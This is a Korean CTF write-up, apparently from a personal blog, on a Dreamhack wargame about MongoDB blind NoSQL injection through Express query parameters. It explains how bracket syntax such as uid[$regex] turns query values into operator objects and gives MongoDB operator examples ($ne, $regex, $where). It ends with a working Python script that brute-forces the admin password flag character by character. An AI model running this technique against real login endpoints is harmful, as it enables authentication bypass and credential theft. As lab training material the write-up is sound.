db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
- MongoDB blind SQLI
- 성공, 실패 여부만 출력해주는 blind SQL Injection 상황이다
로컬 환경에서 테스트
npm install # package.json 파일에 명시된 버전의 패키지 설치
node main.js # main.js 파일 실행
app.get('/login', function(req, res) {
const {uid, upw} = req.query;
console.log(typeof uid)
console.log(uid)
console.log(typeof upw)
console.log(upw)
코드를 이런 식으로 바꾸어 테스트해보았다.
/login?uid={'$regex':'^g'}&upw={'$regex':'^g'} 이런 식으로 건네주면
생긴 건 object이지만 실제 타입은 string이다 => $regex 연산자 작동 x
/login?uid[$regex]=^g&upw[$regex]=^g 이런 식으로 건네주어야 잘 동작
cf) NodeJS의 Express 프레임워크로 개발된 코드에서 req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있다!
아래는 console.log(req.query.data) / console.log(typeof req.query.data) 결과이다
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
=> object type 선언 가능하다!
cf) MongoDB의 각종 연산자들 예제
> db.user.find({"uid":"admin","upw":{"$ne":""}})
# {"uid":"admin","upw":"mango","_id":"zmOBQjsvIN4pd08I"}
> db.user.find({upw: {$regex: "^g"}})
# { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
# { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({$where:"return 1==1"})
# { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
=> $ne, $eq, $regex, $where 등 사용 가능
exploit 코드
import requests
import string
url = 'http://host3.dreamhack.games:21858/login?uid[$regex]=^adm&upw[$regex]='
len = 1
while True:
new_url = url + '.{{{num}}}'.format(num=len)
c = requests.get(url=new_url)
if 'admin' not in c.text:
len -= 1
print(len)
break
len += 1
charset = string.ascii_letters + string.digits
flag = 'DH{'
for i in range(3,len-1):
for ch in charset:
new_url = url + '^.{{{idx}}}'.format(idx=i) + ch
c = requests.get(url=new_url)
if 'admin' in c.text:
flag += ch
print(flag)
break
print(flag+'}')
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Image-storage + php 웹쉘 업로드 (0) | 2023.06.30 |
---|---|
[Dreamhack Wargame] Command-Injection-1 (0) | 2023.06.30 |
[Dreamhack Wargame] Simple_sqli + blind SQLI 스크립트 (0) | 2023.06.28 |
[Dreamhack Wargame] CSRF_1/2 (0) | 2023.06.28 |
[Dreamhack Wargame] XSS-2 (0) | 2023.06.27 |